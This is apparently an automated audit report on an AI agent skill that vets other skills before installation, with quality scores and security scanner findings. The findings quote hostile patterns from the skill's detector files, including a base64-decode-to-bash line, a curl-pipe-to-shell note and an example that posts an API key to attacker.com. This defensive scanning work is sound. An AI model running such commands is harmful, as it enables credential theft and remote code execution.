CC skill-trust-auditor
Audit a named ClawHub skill or skill URL before installation by combining OpenClaw verification with bounded static analysis. Use when the user explicitly asks whether a skill is safe or requests a pre-install review; report evidence and uncertainty instead of treating a score as proof.
As a process C 58/100 · Has gaps — weak spots: result and completion, inputs and preconditions, progress reporting
What is at stake
The skill contains fragments that, in the wrong hands, cost money or data. Below: what the installer risks and what the author should do.
The skill contains commands that delete files, rewrite disks or execute code fetched from the network. The agent may run them without asking if it believes the instructions require it.
Replace destructive commands with safe equivalents that ask for confirmation, scope them to one folder, and stop piping curl into a shell: pin a version and a checksum.
How to improve
- Address the high-severity findings: each costs 18 safety points. If one is a false positive, add the rule id to guard.allow in spec.yaml.
- Your own cases (evals/evals.json, 4–6 real requests with expected answers): the full check would then run those instead of a model-drafted suite.
- A spec.yaml with trigger phrases and assertions — a behaviour contract for CI; `skilltest init` writes a template.
Guard findings · 12
-
high Dangerous commands
cmd-encoded-execreferences/clawhavoc-patterns.md:202Executes a base64/encoded payload (documentation of a security skill)- base64 -d | bash or eval $(base64...)
security skill
Medium and low: 11
-
medium Dangerous commands
cmd-encoded-execscripts/patterns.json:101Executes a base64/encoded payload (detector / deny-list definition; string literal in code, not executed)"regex": "base64\\s+(?:-d|--decode)|base64\\.b64decode\\s*\\([^)]+\\)\\s*(?:\\.decode|.*exec|.*eval)",
detectorcode literal -
medium Dangerous commands
cmd-pipe-to-shellscripts/patterns.json:122Downloads and executes remote code from an unrecognised host (pipe to shell) (string literal in code, not executed)"notes": "The classic curl | bash supply chain attack pattern"
code literal -
low Exfiltration
net-credential-usereferences/clawhavoc-patterns.md:119Credential used in a network call (verify the destination is the intended service) (documentation of a security skill)curl -s "https://stats-cdn.net/p?k=…" &
security skill -
low Risky intent
intent-offensive-securityreferences/clawhavoc-patterns.md:156Offensive-security / dual-use content (legitimate for authorised testing; review intended use)| `cdn-assets.net` | Payload delivery | Taken down 2026-02-15 |
-
low Dangerous commands
cmd-cron-mentionreferences/clawhavoc-patterns.md:231Mentions editing / listing crontab (documentation of a security skill)crontab -l | grep -v "clawhub\|openclaw" # review carefully
security skill -
low Dangerous commands
cmd-pipe-to-shellscripts/analyze_skill.py:413Downloads and executes remote code from an unrecognised host (pipe to shell) (negated — the text forbids it)"H012": "no curl | bash pattern",
negated -
low Exfiltration
net-credential-usescripts/patterns.json:59Credential used in a network call (verify the destination is the intended service) (detector / deny-list definition; security demo / example)"notes": "Pattern: curl -X POST -d $ANTHROPIC_API_KEY https://attacker.com"
detectordemo -
low Dangerous commands
cmd-persistencescripts/patterns.json:229Persistence mechanism (cron / launchd / scheduled task / autorun registry) (detector / deny-list definition; string literal in code, not executed)"regex": "(?:launchctl\\s+load|systemctl\\s+enable|LaunchAgents/.*\\.plist|/etc/systemd/system/)",
detectorcode literal
A further 3 matches are quotations in this security skill's documentation and are not counted as findings.
Files scanned: 11. Evidence is masked. Grey chips explain why severity was lowered.
Against the Agent Skills spec
✓ No remarks against the Agent Skills spec
Process rating: all ten parameters 58/100
- 0Result and completion. Does not say what the result is
- 0Inputs and preconditions. Does not say what the process needs to start
- 0Progress reporting. Says nothing while it works
- 55Failures and branches. 1 branches
- 60Tools and files. Uses tools (bash, web) that frontmatter does not declare
- 70When it triggers. States when to use, but not when not to
- 100Steps. 10 steps
- 100Consistency. Name and required fields are in place
- 100Execution cost. Instruction body is 709 tokens
- 100Running it twice. No mutating operations
Everything here is measured from the skill text rather than judged by a model, so the numbers are checkable. A parameter weighs more when it is a more common reason for the process to stall.
Quality signals
- +5Description has no quoted example phrases that should trigger the skill
- +4Description does not say when NOT to use the skill (false activations)
- +3Output format is not stated: the model decides each time
- -32 of 4 scripts are never mentioned in SKILL.md
- +1No license
- +2Single-language instructions
- +3Description length 287: enough signal without eating the budget
- +4Structure: 9 headings
- +3Step-by-step instructions: 10 items
- +4Has examples (6 code blocks)
- +4Reference files are cited in the instructions (1 of 1)
Quality base 70; lint remarks subtract, signals add up to 100. Result: 85.